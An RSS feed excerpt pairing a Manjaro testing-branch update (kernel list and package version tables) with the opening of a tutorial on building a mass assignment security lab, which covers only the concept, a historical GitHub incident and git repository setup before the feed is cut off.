<p>Get our latest daily developer images now from Github: <a href="https://github.com/manjaro-plasma/download/releases">Plasma</a>, <a href="https://github.com/manjaro-gnome/download/releases">GNOME</a>, <a href="https://github.com/manjaro-xfce/download/releases">XFCE</a>. You can get the latest <a href="https://manjaro.org/download">stable releases</a> of Manjaro from <a href="https://cdn77.com/">CDN77</a>.</p>
<hr>
<p><strong>Our current supported kernels</strong></p>
<ul>
<li>linux61 6.1.173</li>
<li>linux66 6.6.140</li>
<li>linux612 6.12.90</li>
<li>linux618 6.18.32</li>
<li>linux70 7.0.9</li>
<li>linux71 7.1.0-rc4</li>
<li>linux61-rt 6.1.167_rt62</li>
<li>linux66-rt 6.6.133_rt73</li>
<li>linux612-rt 6.12.79_rt17</li>
<li>linux617-rt 6.17.5_rt7</li>
</ul>
<p><strong>Package Changes</strong> (5/18/26 15:52 CEST)</p>
<ul>
<li>testing core x86_64:  12 new and 12 removed package(s)</li>
<li>testing extra x86_64:  455 new and 454 removed package(s)</li>
<li>testing multilib x86_64:  4 new and 4 removed package(s)</li>
</ul>
<pre><code class="lang-auto">:: Different overlay package(s) in repository core x86_64

-------------------------------------------------------------------------------
                             PACKAGE           2026-05-16           2026-05-18
-------------------------------------------------------------------------------
                            linux612            6.12.88-2            6.12.90-1
                    linux612-headers            6.12.88-2            6.12.90-1
                            linux618            6.18.30-2            6.18.32-1
                    linux618-headers            6.18.30-2            6.18.32-1
                             linux66            6.6.139-1            6.6.140-1
                     linux66-headers            6.6.139-1            6.6.140-1
                             linux70              7.0.7-2              7.0.9-1
                     linux70-headers              7.0.7-2              7.0.9-1
                             linux71           7.1.0rc3-1           7.1.0rc4-1
                     linux71-headers           7.1.0rc3-1           7.1.0rc4-1


:: Different sync package(s) in repository core x86_64

-------------------------------------------------------------------------------
                             PACKAGE           2026-05-16           2026-05-18
-------------------------------------------------------------------------------
                                dash           0.5.13.2-1           0.5.13.4-1
                            fakeroot             1.37.2-1               1.38-1


:: Different overlay package(s) in repository extra x86_64

-------------------------------------------------------------------------------
                             PACKAGE           2026-05-16           2026-05-18
-------------------------------------------------------------------------------
                   game-devices-udev               0.25-1                1.0-1
               heroic-games-launcher             2.21.0-2             2.22.0-1
                  linux612-acpi_call            1.2.2-116            1.2.2-117
                   linux612-bbswitch              0.8-114              0.8-115
                linux612-broadcom-wl     6.30.223.271-115     6.30.223.271-116
               linux612-nvidia-390xx          390.157-116          390.157-117
               linux612-nvidia-470xx       470.256.02-116       470.256.02-117
               linux612-nvidia-570xx        570.211.01-24        570.211.01-25
          linux612-nvidia-570xx-open        570.211.01-24        570.211.01-25
               linux612-nvidia-575xx         575.64.05-43         575.64.05-44
          linux612-nvidia-575xx-open         575.64.05-43         575.64.05-44
               linux612-nvidia-580xx         580.159.03-7         580.159.03-8
          linux612-nvidia-580xx-open         580.159.03-7         580.159.03-8
                     linux612-nvidia          595.71.05-7          595.71.05-8
                linux612-nvidia-open          595.71.05-7          595.71.05-8
                      linux612-r8168          8.056.02-16          8.056.02-17
                  linux612-rtl8723bu           20260507-4           20260507-5
                   linux612-tp_smapi              0.45-60              0.45-61
                linux612-vhba-module          20260313-11          20260313-12
    linux612-virtualbox-host-modules             7.2.8-10             7.2.8-11
                        linux612-zfs              2.4.2-3              2.4.2-4
                  linux618-acpi_call             1.2.2-37             1.2.2-38
                   linux618-bbswitch               0.8-37               0.8-38
                linux618-broadcom-wl      6.30.223.271-37      6.30.223.271-38
               linux618-nvidia-390xx           390.157-38           390.157-39
               linux618-nvidia-470xx        470.256.02-37        470.256.02-38
               linux618-nvidia-570xx        570.211.01-29        570.211.01-30
          linux618-nvidia-570xx-open        570.211.01-29        570.211.01-30
               linux618-nvidia-575xx         575.64.05-37         575.64.05-38
          linux618-nvidia-575xx-open         575.64.05-37         575.64.05-38
               linux618-nvidia-580xx         580.159.03-9        580.159.03-10
          linux618-nvidia-580xx-open         580.159.03-9        580.159.03-10
                     linux618-nvidia          595.71.05-9         595.71.05-10
                linux618-nvidia-open          595.71.05-9         595.71.05-10
                      linux618-r8168          8.056.02-22          8.056.02-23
                  linux618-rtl8723bu           20260507-6           20260507-7
                   linux618-tp_smapi              0.45-37              0.45-38
                linux618-vhba-module          20260313-13          20260313-14
    linux618-virtualbox-host-modules             7.2.8-12             7.2.8-13
                        linux618-zfs              2.4.2-3              2.4.2-4
                   linux66-acpi_call            1.2.2-184            1.2.2-185
                    linux66-bbswitch              0.8-181              0.8-182
                 linux66-broadcom-wl     6.30.223.271-182     6.30.223.271-183
                linux66-nvidia-390xx          390.157-179          390.157-180
                linux66-nvidia-470xx       470.256.02-122       470.256.02-123
                linux66-nvidia-570xx        570.211.01-19        570.211.01-20
           linux66-nvidia-570xx-open        570.211.01-19        570.211.01-20
                linux66-nvidia-575xx         575.64.05-35         575.64.05-36
           linux66-nvidia-575xx-open         575.64.05-35         575.64.05-36
                linux66-nvidia-580xx         580.159.03-5         580.159.03-6
           linux66-nvidia-580xx-open         580.159.03-5         580.159.03-6
                      linux66-nvidia          595.71.05-5          595.71.05-6
                 linux66-nvidia-open          595.71.05-5          595.71.05-6
                       linux66-r8168          8.056.02-13          8.056.02-14
                   linux66-rtl8723bu           20260507-3           20260507-4
                    linux66-tp_smapi              0.45-51              0.45-52
                 linux66-vhba-module           20260313-9          20260313-10
     linux66-virtualbox-host-modules              7.2.8-7              7.2.8-8
                         linux66-zfs              2.4.2-2              2.4.2-3
                   linux70-acpi_call             1.2.2-12             1.2.2-13
                    linux70-bbswitch               0.8-12               0.8-13
                 linux70-broadcom-wl      6.30.223.271-12      6.30.223.271-13
                linux70-nvidia-390xx           390.157-10           390.157-11
                linux70-nvidia-470xx        470.256.02-12        470.256.02-13
                linux70-nvidia-580xx         580.159.03-9        580.159.03-10
           linux70-nvidia-580xx-open         580.159.03-9        580.159.03-10
                      linux70-nvidia          595.71.05-9         595.71.05-10
                 linux70-nvidia-open          595.71.05-9         595.71.05-10
                       linux70-r8168          8.056.02-12          8.056.02-13
                   linux70-rtl8723bu           20260507-6           20260507-7
                    linux70-tp_smapi              0.45-12              0.45-13
                 linux70-vhba-module          20260313-12          20260313-13
     linux70-virtualbox-host-modules             7.2.8-12             7.2.8-13
                         linux70-zfs              2.4.2-3              2.4.2-4
                   linux71-acpi_call            1.2.2-0.5            1.2.2-0.6
                    linux71-bbswitch              0.8-0.5              0.8-0.6
                 linux71-broadcom-wl     6.30.223.271-0.5     6.30.223.271-0.6
                linux71-nvidia-390xx          390.157-0.5          390.157-0.6
                linux71-nvidia-470xx       470.256.02-0.5       470.256.02-0.6
                linux71-nvidia-580xx       580.159.03-0.2       580.159.03-0.3
           linux71-nvidia-580xx-open       580.159.03-0.2       580.159.03-0.3
                      linux71-nvidia        595.71.05-0.4        595.71.05-0.5
                 linux71-nvidia-open        595.71.05-0.4        595.71.05-0.5
                       linux71-r8168         8.056.02-0.5         8.056.02-0.6
                    linux71-tp_smapi             0.45-0.5             0.45-0.6
                 linux71-vhba-module         20260313-0.5         20260313-0.6
     linux71-virtualbox-host-modules            7.2.6-0.1                    -
                         linux71-zfs            2.4.2-0.1            2.4.2-0.2
                              scrcpy                    -              4.0-1.0


:: Different sync package(s) in repository extra x86_64

-------------------------------------------------------------------------------
                             PACKAGE           2026-05-16           2026-05-18
-------------------------------------------------------------------------------
                       acme-redirect              0.7.1-2              0.8.1-1
                     add-determinism              0.7.2-1              0.7.3-1
                               amule           1:2.3.3-11           1:2.3.3-12
                              anewer              0.1.6-2              0.1.6-3
                                 ant            1.10.15-1            1.10.17-1
                             ant-doc            1.10.15-1            1.10.17-1
                                apko              1.2.6-1             1.2.12-1
                      audiobookshelf             2.34.0-1             2.35.0-1
                       bbswitch-dkms              0.8-820              0.8-821
                             binocle              0.3.2-2              0.3.2-3
                      bitcoin-daemon               31.0-1               31.0-2
                          bitcoin-qt               31.0-1               31.0-2
                          bitcoin-tx               31.0-1               31.0-2
                          bootconfig              7.0.6-1              7.0.9-1
                                 bpf              7.0.6-1              7.0.9-1
                               bt747              2.2.1-3              2.3.2-1
                                 bun             1.3.13-1             1.3.14-1
                       cargo-nextest            0.9.135-1            0.9.136-1
                          cartridges             2.12.1-3             2.13.1-1
                              catch2             3.14.0-1             3.15.0-1
                           celluloid               0.29-1               0.30-1
                             certbot              5.5.0-1              5.6.0-1
                      certbot-apache              5.5.0-1              5.6.0-1
              certbot-dns-cloudflare              5.5.0-1              5.6.0-1
            certbot-dns-digitalocean              5.5.0-1              5.6.0-1
                certbot-dns-dnsimple              5.5.0-1              5.6.0-1
             certbot-dns-dnsmadeeasy              5.5.0-1              5.6.0-1
                  certbot-dns-gehirn              5.5.0-1              5.6.0-1
                  certbot-dns-google              5.5.0-1              5.6.0-1
                  certbot-dns-linode              5.5.0-1              5.6.0-1
                  certbot-dns-luadns              5.5.0-1              5.6.0-1
                   certbot-dns-nsone              5.5.0-1              5.6.0-1
                     certbot-dns-ovh              5.5.0-1              5.6.0-1
                 certbot-dns-rfc2136              5.5.0-1              5.6.0-1
                 certbot-dns-route53              5.5.0-1              5.6.0-1
             certbot-dns-sakuracloud              5.5.0-1              5.6.0-1
                       certbot-nginx              5.5.0-1              5.6.0-1
                              chawan              0.3.3-2              0.4.0-1
                       checkbashisms             2.26.8-1             2.26.9-1
                                cimg              3.7.5-1              3.7.6-1
                              clpeak              2.0.5-1              2.0.6-1
                         clpeak-cuda              2.0.5-1              2.0.6-1
                           collision             3.14.0-1             3.14.1-1
                            cpupower              7.0.6-1              7.0.9-1
                             crystal             1.20.1-2             1.20.2-1
                        crystal-docs             1.20.1-2             1.20.2-1
                             curtail             1.15.1-1             1.16.1-1
                   deepin-wallpapers           1:1.7.25-1           1:1.7.26-1
                            deja-dup               50.0-1               50.1-1
                              devede             4.21.0-2           4.21.3.1-1
                          diesel-cli              2.3.7-1              2.3.9-1
                             dnsmasq          2.92.rel2-1          2.92.rel2-2
                              docker           1:29.4.3-1           1:29.5.0-1
                       docker-buildx             0.33.0-1             0.34.0-1
                               doctl            1.158.0-1            1.159.0-1
                       dwarffortress              53.12-1              53.13-1
                                 ecb         2.40.1pre-12               2.52-1
                            ejabberd              26.02-1              26.04-1
                             elastic              1.0.2-1              1.0.3-1
                           ethersync              0.8.0-1                    -
                          fastflowlm             0.9.41-1             0.9.42-1
                                 fio               3.41-1               3.42-1
                firefox-adblock-plus             4.31.1-1             4.38.1-1
                           flowblade               2.22-2             2.24.1-1
                             freetds             1.5.17-1             1.5.18-1
                              gaphor              3.3.0-1              3.3.2-1
                             gerbera              3.2.1-2              3.2.1-3
        gnome-shell-extension-vitals             74.0.0-1             76.0.0-1
gnome-shell-extension-weather-oclock               50.2-1               50.3-1
                             go-task             3.50.0-2             3.51.1-1
                             goffice            0.10.60-1            0.10.61-1
                 gpu-screen-recorder             5.13.6-1             5.13.8-1
              gpu-screen-recorder-ui             1.12.0-1             1.12.2-1
                              gramps            2:6.0.7-1            2:6.0.8-1
                              hyperv              7.0.6-1              7.0.9-1
                              hyphen              2.8.8-6              2.8.9-1
                           hyphen-en              2.8.8-6              2.8.9-1
                            hyprland             0.55.1-1             0.55.2-1
                            identity            25.10.1-1              26.03-1
                         imagemagick           7.1.2.22-1           7.1.2.23-1
intel-oneapi-base-toolkit 2025.3.2.21+99f4837a_25b7_425d_a897_60af022676ea-1 -
                intel-oneapi-basekit        2025.0.1.46-1                    -
                  intel-speed-select              7.0.6-1              7.0.9-1
                       intelli-shell              3.4.0-2              3.4.1-1
     intellij-idea-community-edition         4:2026.1.1-1         4:2026.1.2-1
                               iotas             0.12.1-2             2026.6-2
                         jami-daemon           20260206-6           20260206-7
                                josm              19439-1              19555-1
                              kcpuid              7.0.6-1              7.0.9-1
                 kernel-headers-musl            4.19.88-3            6.12.77-1
                              kupfer                327-3                329-1
                      libdatachannel             0.24.2-2             0.24.3-1
                       libexttextcat              3.4.7-2              3.4.8-1
                           libkrunfw              5.3.0-1              5.4.0-1
                         liblockfile             1.17_1-4             1.17_2-1
                           libmythes            1:1.2.5-3            1:1.2.6-1
                            libpaper              2.2.7-1              2.2.8-1
                         libquotient            0.9.6.1-1            0.9.6.1-2
                   libreoffice-fresh             26.2.3-2             26.2.3-3
               libreoffice-fresh-sdk             26.2.3-2             26.2.3-3
                   libreoffice-still             25.8.7-1             25.8.7-2
               libreoffice-still-sdk             25.8.7-1             25.8.7-2
                       libsemigroups              3.6.0-1              3.6.1-1
                           libsigc++             2.12.1-2             2.12.2-1
                       libsigc++-3.0              3.8.0-1              3.8.1-1
                  libsigc++-3.0-docs              3.8.0-1              3.8.1-1
                      libsigc++-docs             2.12.1-2             2.12.2-1
                             libupnp            1.14.26-1            1.14.31-1
                              libvlc             3.0.22-3             3.0.22-4
                               libxi              1.8.2-1              1.8.3-1
                             libzypp            17.38.7-1            17.38.8-1
                        libzypp-docs            17.38.7-1            17.38.8-1
                    linux-tools-meta              7.0.6-1              7.0.9-1
                               lldpd             1.0.21-1             1.0.22-1
                                  ly              1.4.0-1              1.4.1-1
                        man-pages-cs             4.30.0-1             4.30.2-1
                        man-pages-da             4.30.0-1             4.30.2-1
                        man-pages-de             4.30.0-1             4.30.2-1
                        man-pages-el             4.30.0-1             4.30.2-1
                        man-pages-es             4.30.0-1             4.30.2-1
                        man-pages-fi             4.30.0-1             4.30.2-1
                        man-pages-fr             4.30.0-1             4.30.2-1
                        man-pages-hu             4.30.0-1             4.30.2-1
                        man-pages-id             4.30.0-1             4.30.2-1
                        man-pages-it             4.30.0-1             4.30.2-1
                        man-pages-mk             4.30.0-1             4.30.2-1
                        man-pages-nb             4.30.0-1             4.30.2-1
                        man-pages-nl             4.30.0-1             4.30.2-1
                        man-pages-pl             4.30.0-1             4.30.2-1
                     man-pages-pt_br             4.30.0-1             4.30.2-1
                        man-pages-ro             4.30.0-1             4.30.2-1
                        man-pages-ru             4.30.0-1             4.30.2-1
                        man-pages-sr             4.30.0-1             4.30.2-1
                        man-pages-sv             4.30.0-1             4.30.2-1
                        man-pages-uk             4.30.0-1             4.30.2-1
                        man-pages-vi             4.30.0-1             4.30.2-1
                             mdfried             0.20.1-1             0.20.2-1
                         meilisearch           1:1.43.0-1           1:1.43.1-1
                             melange             0.50.2-1             0.50.6-1
                         mermaid-cli            11.14.0-1            11.15.0-1
                              minder             1.17.0-2              2.0.9-1
                           mitmproxy             12.2.1-2             12.2.3-1
                              mousai              0.7.9-2             0.7.10-1
                                 mpd            0.24.11-1            0.24.12-1
                              mqttui             0.22.1-1             0.23.0-1
                         mullvad-vpn             2026.1-1             2026.2-1
                  mullvad-vpn-daemon             2026.1-1             2026.2-1
               netfilter-fullconenat      r73.0cf3b48-517      r73.0cf3b48-518
                           newsflash              5.0.0-1              5.1.0-1
             nextcloud-app-bookmarks           1:16.1.3-1           1:16.1.4-1
                         nodejs-nopt              9.0.0-1             10.0.0-1
                                numa             0.17.0-1             0.18.0-1
                        nwg-displays              0.4.2-1              0.4.3-1
                           nwg-panel            0.10.13-2            0.10.14-1
                          obs-studio             32.1.2-2             32.1.2-3
           obs-studio-plugin-browser             32.1.2-2             32.1.2-3
                              ollama             0.23.2-1             0.23.3-1
                         ollama-cuda             0.23.2-1             0.23.3-1
                         ollama-docs             0.23.2-1             0.23.3-1
                         ollama-rocm             0.23.2-1             0.23.3-1
                       ollama-vulkan             0.23.2-1             0.23.3-1
                            opencode             1.15.0-1             1.15.3-1
                            openfire              5.0.4-1              5.0.5-1
                            openrct2              0.5.0-1              0.5.1-1
                            opensips              3.6.4-1              3.6.5-1
                             openvkl              2.0.1-5              2.0.2-1
                            pack-cli             0.40.4-1             0.40.6-1
                                perf              7.0.6-1              7.0.9-1
             perl-cpan-perl-releases         5.20260320-1         5.20260420-1
                          photoflare             1.6.13-2              1.7.0-1
                             postfix             3.11.2-1             3.11.3-1
                         postfix-cdb             3.11.2-1             3.11.3-1
                        postfix-ldap             3.11.2-1             3.11.3-1
                        postfix-lmdb             3.11.2-1             3.11.3-1
                     postfix-mongodb             3.11.2-1             3.11.3-1
                       postfix-mysql             3.11.2-1             3.11.3-1
                        postfix-pcre             3.11.2-1             3.11.3-1
                       postfix-pgsql             3.11.2-1             3.11.3-1
                      postfix-sqlite             3.11.2-1             3.11.3-1
           pycharm-community-edition           2026.1.1-1           2026.1.2-1
                         python-acme              5.5.0-1              5.6.0-1
                     python-archinfo            9.2.194-1            9.2.215-1
            python-astropy-iers-data 0.2025.9.8.0.36.17-2 0.2026.5.11.1.8.52-1
                        python-black             26.3.1-1             26.5.0-1
                   python-cachetools              7.1.1-1              7.1.2-1
                      python-claripy            9.2.197-1            9.2.215-1
                  python-cli_helpers             2.14.0-1             2.15.0-1
                   python-cloudflare             2.20.0-1              5.1.0-1
                     python-colorcet              3.1.0-4              3.2.1-1
            python-extension-helpers              1.2.0-3              1.4.0-1
                         python-flit             3.12.0-2              4.0.0-1
                       python-fsspec           2026.3.0-1           2026.4.0-1
                       python-genshi             0.7.10-3             0.7.11-1
                  python-iterable-io              1.0.1-2              1.0.4-1
                         python-krb5              0.5.1-5              0.9.0-1
python-magic-wormhole-mailbox-server              0.7.0-1              0.8.0-1
                       python-mpi4py              4.1.1-2              4.1.2-1
                          python-mss             10.1.0-2             10.2.0-1
                     python-narwhals             2.21.0-1             2.21.2-1
                 python-openstacksdk             4.12.0-1             4.13.0-1
                       python-owslib             0.34.1-2             0.35.0-1
                        python-param              2.1.1-4              2.3.3-1
                         python-pika              1.3.2-4              1.4.0-1
            python-py_stringmatching              0.4.6-2              0.4.7-1
                         python-pyct              0.5.0-5              0.6.0-1
                   python-pynitrokey             0.12.1-1             0.12.2-1
                    python-pyscipopt              6.2.0-1              6.2.1-1
                     python-pyspnego             0.11.0-1             0.12.1-1
               python-pytest-aiohttp              1.0.5-5              1.1.0-1
            python-pytest-dependency              0.6.0-4              0.6.1-1
                 python-pytest-order              1.3.0-2              1.4.0-1
                    python-pytest-qt              4.4.0-6              4.5.0-1
         python-pytest-rerunfailures               16.1-2               16.2-1
                      python-pytorch             2.11.0-4             2.12.0-1
                 python-pytorch-cuda             2.11.0-4             2.12.0-1
                  python-pytorch-opt             2.11.0-4             2.12.0-1
             python-pytorch-opt-cuda             2.11.0-4             2.12.0-1
             python-pytorch-opt-rocm             2.11.0-4             2.12.0-1
                 python-pytorch-rocm             2.11.0-4             2.12.0-1
        python-pyxdameraulevenshtein              1.8.0-3             1.10.1-1
                    python-qpageview              1.0.2-1              1.0.4-1
        python-recurring-ical-events              3.8.1-1              3.9.0-1
                   python-repoze.lru               0.7-13                0.8-1
                 python-scikit-build             0.18.1-6             0.19.0-1
                   python-sentry_sdk             2.59.0-1             2.60.0-1
           python-strawberry-graphql            0.315.4-1            0.315.5-1
                       python-syrupy              5.1.0-1              5.2.0-1
                      python-textual              8.2.5-1              8.2.6-1
                     python-tifffile           2026.5.2-1          2026.5.15-1
                   python-torchcodec             0.11.1-1             0.12.0-1
                  python-torchvision             0.26.0-1             0.27.0-1
             python-torchvision-cuda             0.26.0-1             0.27.0-1
                 python-zipstream-ng              1.9.0-2              1.9.2-1
                                 qsv             20.0.0-1             20.1.0-1
                           qwen-code            0.15.10-1            0.15.11-1
                              radcli              1.5.0-2              1.5.1-1
                            radicale             3.5.10-1              3.7.3-1
                             railway              2.9.4-2             2.10.0-1
                            ramalama             0.20.0-1             0.21.0-1
                               ratty              0.3.0-1              0.4.0-1
                              recoll            1.43.14-2            1.43.16-1
                     ruby-chef-utils             19.3.9-1            19.3.14-1
                               rumdl             0.1.91-1             0.1.93-1
                              scrcpy              3.3.4-1                4.0-1
                           sdbus-cpp              2.2.1-1              2.3.0-1
                       sdbus-cpp-doc              2.2.1-1              2.3.0-1
                          sdl2_mixer              2.8.1-2              2.8.2-1
                            sdl2_net            1:2.2.0-2            2:2.4.0-1
                          sdl3_mixer              3.2.0-2              3.2.2-1
                           seaweedfs               4.23-1               4.26-1
                       sentry-native             0.14.0-2             0.14.2-1
                           simutrans            124.3.1-1            124.4.1-1
                             slumber              5.2.5-1              5.3.0-1
                             songrec              0.7.2-1              0.7.3-1
                                sops             3.13.0-1             3.13.1-1
                              srslte             23.11-13              25.10-1
                         srslte-avx2             23.11-13              25.10-1
                              stylua              2.4.1-1              2.5.2-1
                           tailscale             1.96.4-2             1.98.2-1
                                tmon              7.0.6-1              7.0.9-1
                               tombi             0.11.4-1             0.11.5-1
                         torchvision             0.26.0-1             0.27.0-1
                    torchvision-cuda             0.26.0-1             0.27.0-1
                   translate-toolkit             3.19.7-1            3.19.10-1
                       ttf-mona-sans             2.0.24-1             2.0.25-1
                               turbo              2.9.6-1             2.9.14-1
                           turbostat              7.0.6-1              7.0.9-1
                                  ty             0.0.36-1             0.0.37-1
                               typos             1.46.1-1             1.46.2-1
                               ugrep              7.8.1-1              7.8.2-1
                               usbip              7.0.6-1              7.0.9-1
                                vale             3.14.1-1             3.14.2-1
                       video-trimmer              25.03-2              26.03-1
                                 vlc             3.0.22-3             3.0.22-4
                             vlc-cli             3.0.22-3             3.0.22-4
                     vlc-gui-ncurses             3.0.22-3             3.0.22-4
                          vlc-gui-qt             3.0.22-3             3.0.22-4
                      vlc-gui-skins2             3.0.22-3             3.0.22-4
                   vlc-plugin-a52dec             3.0.22-3             3.0.22-4
                    vlc-plugin-aalib             3.0.22-3             3.0.22-4
                     vlc-plugin-alsa             3.0.22-3             3.0.22-4
                      vlc-plugin-aom             3.0.22-3             3.0.22-4
                  vlc-plugin-archive             3.0.22-3             3.0.22-4
                  vlc-plugin-aribb24             3.0.22-3             3.0.22-4
                  vlc-plugin-aribb25             3.0.22-3             3.0.22-4
                      vlc-plugin-ass             3.0.22-3             3.0.22-4
                    vlc-plugin-avahi             3.0.22-3             3.0.22-4
                   vlc-plugin-bluray             3.0.22-3             3.0.22-4
                     vlc-plugin-caca             3.0.22-3             3.0.22-4
                     vlc-plugin-cddb             3.0.22-3             3.0.22-4
               vlc-plugin-chromecast             3.0.22-3             3.0.22-4
                    vlc-plugin-dav1d             3.0.22-3             3.0.22-4
                     vlc-plugin-dbus             3.0.22-3             3.0.22-4
         vlc-plugin-dbus-screensaver             3.0.22-3             3.0.22-4
                      vlc-plugin-dca             3.0.22-3             3.0.22-4
                      vlc-plugin-dvb             3.0.22-3             3.0.22-4
                      vlc-plugin-dvd             3.0.22-3             3.0.22-4
                    vlc-plugin-faad2             3.0.22-3             3.0.22-4
                   vlc-plugin-ffmpeg             3.0.22-3             3.0.22-4
                 vlc-plugin-firewire             3.0.22-3             3.0.22-4
                     vlc-plugin-flac             3.0.22-3             3.0.22-4
               vlc-plugin-fluidsynth             3.0.22-3             3.0.22-4
                 vlc-plugin-freetype             3.0.22-3             3.0.22-4
                      vlc-plugin-gme             3.0.22-3             3.0.22-4
                   vlc-plugin-gnutls             3.0.22-3             3.0.22-4
                vlc-plugin-gstreamer             3.0.22-3             3.0.22-4
                  vlc-plugin-inflate             3.0.22-3             3.0.22-4
                     vlc-plugin-jack             3.0.22-3             3.0.22-4
                  vlc-plugin-journal             3.0.22-3             3.0.22-4
                     vlc-plugin-jpeg             3.0.22-3             3.0.22-4
                     vlc-plugin-kate             3.0.22-3             3.0.22-4
                  vlc-plugin-kwallet             3.0.22-3             3.0.22-4
                vlc-plugin-libsecret             3.0.22-3             3.0.22-4
                     vlc-plugin-lirc             3.0.22-3             3.0.22-4
                  vlc-plugin-live555             3.0.22-3             3.0.22-4
                      vlc-plugin-lua             3.0.22-3             3.0.22-4
                      vlc-plugin-mad             3.0.22-3             3.0.22-4
                 vlc-plugin-matroska             3.0.22-3             3.0.22-4
                     vlc-plugin-mdns             3.0.22-3             3.0.22-4
                  vlc-plugin-modplug             3.0.22-3             3.0.22-4
                    vlc-plugin-mpeg2             3.0.22-3             3.0.22-4
                   vlc-plugin-mpg123             3.0.22-3             3.0.22-4
                      vlc-plugin-mtp             3.0.22-3             3.0.22-4
                 vlc-plugin-musepack             3.0.22-3             3.0.22-4
                      vlc-plugin-nfs             3.0.22-3             3.0.22-4
                   vlc-plugin-notify             3.0.22-3             3.0.22-4
                      vlc-plugin-ogg             3.0.22-3             3.0.22-4
                     vlc-plugin-opus             3.0.22-3             3.0.22-4
                      vlc-plugin-png             3.0.22-3             3.0.22-4
                    vlc-plugin-pulse             3.0.22-3             3.0.22-4
                vlc-plugin-quicksync             3.0.22-3             3.0.22-4
               vlc-plugin-samplerate             3.0.22-3             3.0.22-4
                      vlc-plugin-sdl             3.0.22-3             3.0.22-4
                     vlc-plugin-sftp             3.0.22-3             3.0.22-4
                    vlc-plugin-shout             3.0.22-3             3.0.22-4
                      vlc-plugin-smb             3.0.22-3             3.0.22-4
                     vlc-plugin-soxr             3.0.22-3             3.0.22-4
                    vlc-plugin-speex             3.0.22-3             3.0.22-4
                      vlc-plugin-srt             3.0.22-3             3.0.22-4
                      vlc-plugin-svg             3.0.22-3             3.0.22-4
                      vlc-plugin-tag             3.0.22-3             3.0.22-4
                   vlc-plugin-theora             3.0.22-3             3.0.22-4
                  vlc-plugin-twolame             3.0.22-3             3.0.22-4
                     vlc-plugin-udev             3.0.22-3             3.0.22-4
                     vlc-plugin-upnp             3.0.22-3             3.0.22-4
                   vlc-plugin-vorbis             3.0.22-3             3.0.22-4
                      vlc-plugin-vpx             3.0.22-3             3.0.22-4
                     vlc-plugin-x264             3.0.22-3             3.0.22-4
                     vlc-plugin-x265             3.0.22-3             3.0.22-4
                      vlc-plugin-xml             3.0.22-3             3.0.22-4
                     vlc-plugin-zvbi             3.0.22-3             3.0.22-4
                     vlc-plugins-all             3.0.22-3             3.0.22-4
                    vlc-plugins-base             3.0.22-3             3.0.22-4
                   vlc-plugins-extra             3.0.22-3             3.0.22-4
            vlc-plugins-video-output             3.0.22-3             3.0.22-4
           vlc-plugins-visualization             3.0.22-3             3.0.22-4
                         volatility3             2.27.0-2             2.28.0-1
                             vulscan                2.0-5                2.1-1
                              websvn              2.8.6-1              2.8.7-1
                                wike              3.2.0-2              3.2.1-1
                                wine               11.8-1               11.9-1
                        worker-build              0.8.1-1              0.8.3-1
              x86_energy_perf_policy              7.0.6-1              7.0.9-1
                               xonsh             0.23.6-1             0.23.7-1
                              zizmor             1.25.0-1             1.25.2-1
                              zypper            1.14.96-1            1.14.97-1
                                etcd                    -             3.6.11-2
    intel-oneapi-toolkit - 2026.0.0.198+71180075_e4e3_4c6f_bbbb_19017ed0cf7d-2
                        man-pages-ar                    -             4.30.2-1
                              onedpl                    -          2022.12.0-1


:: Different sync package(s) in repository multilib x86_64

-------------------------------------------------------------------------------
                             PACKAGE           2026-05-16           2026-05-18
-------------------------------------------------------------------------------
                      lib32-fakeroot             1.37.2-1               1.38-1
                        lib32-giflib              5.2.2-1              6.1.3-1
                         lib32-libxi              1.8.2-1              1.8.3-1
                    lib32-sdl2_mixer              2.8.1-1              2.8.2-1
</code></pre>
<p><a href="https://forum.manjaro.org/t/testing-update-2026-05-18-kernels-heroic-games-launcher-certbot-python/187762/1">Click to view the poll.</a></p>
<p>Check if your mirror has already synced:</p>
<ul>
<li><a href="https://repo.manjaro.org/">Mirror-Check Service</a></li>
</ul>
<hr>
            <p><small>2 posts - 2 participants</small></p>
            <p><a href="https://forum.manjaro.org/t/testing-update-2026-05-18-kernels-heroic-games-launcher-certbot-python/187762">Read full topic</a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Create a Mass Assignment Lab With Me]]></title>
<description><![CDATA[This is the first part of a series where I’m gonna teach you how to make your own lab. I’ll walk you through every step of the way. From setting up a Github repo, making the lab, testing it and pushing it onto your repo so that you have something to show and talk about in your next encounter with...]]></description>
<link>https://tsecurity.de/de/3525594/hacking/create-a-mass-assignment-lab-with-me/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3525594/hacking/create-a-mass-assignment-lab-with-me/</guid>
<pubDate>Mon, 18 May 2026 12:23:34 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*f1REk-v_FWK_drh-apO70w.png"></figure><p>This is the first part of a series where I’m gonna teach you how to make your own lab. I’ll walk you through every step of the way. From setting up a Github repo, making the lab, testing it and pushing it onto your repo so that you have something to show and talk about in your next encounter with someone who’s equally passionate about appsec as you are.</p><h3>Mass Assignment</h3><p>Mass assignment is what happens when a developer lets user input flow directly into an object or database without checking what’s actually in it. Most modern frameworks make it super easy to take everything from a request and map it straight to a model. That’s convenient, but it means a user can sneak in fields they’re not supposed to touch, like a role or isAdmin property.</p><p>This isn’t some theoretical edge case either. Back in 2012, a security researcher named Egor Homakov used exactly this trick on GitHub itself. He added his public key to the Rails organization by exploiting a mass assignment flaw in the way GitHub handled user input. One extra parameter in a form submission, and he had push access to any public repo on the platform. GitHub patched it, Rails added stronger defaults, and developers everywhere kept making the same mistake anyway. It’s 2026 and it’s still happening.</p><h3>Github</h3><p>Create a new repo called mediumLabs and set it to private. Then run these commands to get it set up locally:</p><pre>mkdir mediumLabs<br>cd mediumLabs<br>echo "# mediumLabs" &gt;&gt; README.md<br>git init<br>git add README.md<br>git commit -m "first commit"<br>git branch -M main<br>git remote add origin git@github.com:[your_profile]/mediumLabs.git<br>git push -u origin main</pre><p>We’ll also need a .gitignore at the repo root to keep node_modules out of the repo:</p><pre>echo node_modules/ &gt; .gitignore</pre><h3>Creating the Lab’s Skeleton</h3><h3>Lab Structure</h3><p>Now that we have our repo, it’s time to create the folder structure for our Mass Assignment lab. In the end it will look something like this:</p><pre>/mediumLabs<br>├── .gitignore<br>└── /massAssignment<br>    ├── /node_modules<br>    ├── server.js<br>    ├── register.html<br>    ├── login.html<br>    ├── user.html<br>    ├── admin.html<br>    ├── package.json<br>    